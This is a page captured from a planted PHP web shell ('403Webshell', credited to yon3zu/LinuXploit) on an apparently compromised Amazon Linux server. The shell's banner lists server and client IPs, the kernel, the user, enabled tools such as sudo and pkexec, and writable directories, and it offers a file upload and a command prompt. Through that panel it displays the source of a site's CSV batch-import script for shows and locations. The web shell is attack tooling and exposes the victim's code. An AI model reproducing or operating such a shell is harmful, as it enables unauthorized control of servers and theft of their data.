403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewprod/admin/batch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewprod/admin/batch/process_obw_data_import.php
<?php

use classes\lib\BatchJob;

include(__DIR__ . '/../mod/_mod_security.php');
//ob_start();

$job_id = (int)$argv[2];
$batch_job = new BatchJob($job_id);
try {
	$import_shows = (int)$argv[3];
	$import_locations = (int)$argv[4];
	$erase_data = (int)$argv[5];
	$csv_file = (string)$argv[6];
	$import_column_names = (bool)$argv[7];

	//************* Get CSV File *************
	if (empty($csv_file)) :
		throw new RuntimeException('No CSV file path provided ');
	endif;
	if (!file_exists($csv_file)) :
		throw new RuntimeException('CSV file does not exist - ' . $csv_file);
	endif;
	$handle = fopen($csv_file, 'r');
	if ($handle === false) :
		throw new RuntimeException('Unable to open CSV file - ' . $csv_file);
	endif;

	//************* Set up global parameters *************
	$config = HTMLPurifier_Config::createDefault();
	$purifier = new HTMLPurifier($config);

	if ($erase_data === 1) :
		$html = '<p>Erasing all data.</p>';
		$batch_job->append_output($html);
		$sql = "
			TRUNCATE obw_shows;
			TRUNCATE obw_locations;
		";
		$db->query($sql);
		$html = '<p>Finished erasing all data.</p>';
		$batch_job->append_output($html);
	endif;

	$sql = "
		INSERT INTO media SET
			media_cat = :media_cat,
			media_type = :media_type,
			media_path = :media_path,
			media_filename = :media_filename,
			media_desc = :media_desc,
			media_credit = :media_credit,
			hash = :hash,
			create_date = NOW()
	";
	$stmt_img = $db->prepare($sql);

	$sql = "
		INSERT INTO obw_locations SET
			name = :name,
			slug = :slug,
			featured_image = :featured_image,
			html = :html,
			address = :address,
			city = :city,
			state = :state,
			zip = :zip,
			country = :country,
			region = :region,
			phone = :phone,
			url = :url,
			google_map = :google_map,
			latitude = :latitude,
			longitude = :longitude,
			status = :status,
			create_date = NOW()
	";
	$stmt_location = $db->prepare($sql);

	$sql = "
		INSERT INTO obw_shows SET
			name = :name,
			slug = :slug,
			featured_image = :featured_image,
			html = :html,
			status = :status,
			show_in_slider = :show_in_slider,
			start_date = :start_date,
			end_date = :end_date,
			obw_location_id = :obw_location_id,
			price = :price,
			show_url = :show_url,
			create_date = NOW()
	";
	$stmt_show = $db->prepare($sql);

	$location_count = 0;
	$show_count = 0;
	$count = 0;
	$cancel = false;
	$first_row = true;

	//************* Process the CSV file *************
	while (($row = fgetcsv($handle)) !== false) :
		if ($import_column_names && $first_row) :
			$first_row = false;
			continue;
		endif;
		if ($import_locations === 1 && !$cancel) :
			$slug = generate_slug($row[8]);
			$location_id = lookup_db_field('obw_locations', 'slug', $slug, 'id');
			if (empty($location_id)) :
				//************ process image *************
				$save_image_file = [];
				if (!empty($row[15])) :
					$image_url = clean_string($row[15]);
					$save_image_file = image_url_to_file($image_url, 'img/content/');
					if (!empty($save_image_file['filename']) && !$save_image_file['duplicate']) :
						$data_img = [
							':media_cat' => 'content',
							':media_type' => 'img',
							':media_path' => 'img/content/',
							':media_filename' => $save_image_file['filename'],
							':media_desc' => clean_string($row[8]),
							':media_credit' => null,
							':hash' => $save_image_file['hash'],
						];
						$stmt_img->execute($data_img);
					endif;
				endif;
				//********** loop through all images in the post ************
				$post_html = normalize_html($row[16]);
				$post_html = $purifier->purify($post_html);
				$post_html = html_image_parse_and_store($post_html, 'content', $row[8]);
				//****************************************
				$stmt_location->execute([
					':name' => $row[8],
					':slug' => $slug,
					//':featured_image' => $row[15],
					':featured_image' => !empty($save_image_file['filename']) ? $save_image_file['filename'] : null,
					':html' => $post_html,
					':address' => $row[11],
					':city' => $row[12],
					':state' => $row[13],
					':zip' => $row[14],
					':country' => 'US',
					':region' => null,
					':phone' => $row[10],
					':url' => $row[9],
					':google_map' => null,
					':latitude' => null,
					':longitude' => null,
					':status' => 1,
				]);
				$location_count++;
				$location_id = last_id();
			endif;
		endif;
		if ($import_shows === 1 && !$cancel) :
			$slug = generate_unique_slug($row[0], 'obw_shows', 'slug');
			//************ process image *************
			$save_image_file = [];
			if (!empty($row[3])) :
				$image_url = clean_string($row[3]);
				$save_image_file = image_url_to_file($image_url, 'img/content/');
				if (!empty($save_image_file['filename']) && !$save_image_file['duplicate']) :
					$data_img = [
						':media_cat' => 'content',
						':media_type' => 'img',
						':media_path' => 'img/content/',
						':media_filename' => $save_image_file['filename'],
						':media_desc' => clean_string($row[0]),
						':media_credit' => clean_string($row[4]),
						':hash' => $save_image_file['hash'],
					];
					$stmt_img->execute($data_img);
				endif;
			endif;
			//********** loop through all images in the post ************
			$post_html = normalize_html($row[6]);
			$post_html = $purifier->purify($post_html);
			$post_html = html_image_parse_and_store($post_html, 'content', $row[0]);
			//****************************************
			$stmt_show->execute([
				':name' => $row[0],
				':slug' => $slug,
				//':featured_image' => $row[4],
				':featured_image' => !empty($save_image_file['filename']) ? $save_image_file['filename'] : null,
				':html' => $post_html,
				':status' => 0,
				':show_in_slider' => 0,
				':start_date' => nzdate($row[1], 'NULL', false),
				':end_date' => nzdate($row[2], 'NULL', false),
				':obw_location_id' => $location_id,
				':price' => $row[7],
				':show_url' => $row[5],
			]);
			$show_count++;
		endif;

		$count++;
		if ($count % 20 === 0) :
			$batch_job->set_processed_recs($count);
		endif;
		if ($batch_job->cancel_requested()) :
			$cancel = true;
			$html = '<p>Job cancelled.</p>';
			$batch_job->append_output($html);
			break;
		endif;
	endwhile;

	$batch_job->set_processed_recs($count);
	$html = '<p>process_obw_data_import job statistics:</p>';
	$html .= '<p>Records selected: ' . $count . '</p>';
	$html .= '<p>Location Records inserted: ' . $location_count . '</p>';
	$html .= '<p>Show Records inserted: ' . $show_count . '</p>';
	$batch_job->append_output($html);

	$batch_job->finish($cancel);
} catch (Throwable $e) {
	$batch_job->fail(nl2br(
		'Error: ' . $e->getMessage() . PHP_EOL .
		'File: ' . $e->getFile() . PHP_EOL .
		'Line: ' . $e->getLine() . PHP_EOL .
		'Stack trace:' . PHP_EOL . $e->getTraceAsString()
	));
}


//$output = ob_get_clean();

Youez - 2016 - github.com/yon3zu
LinuXploit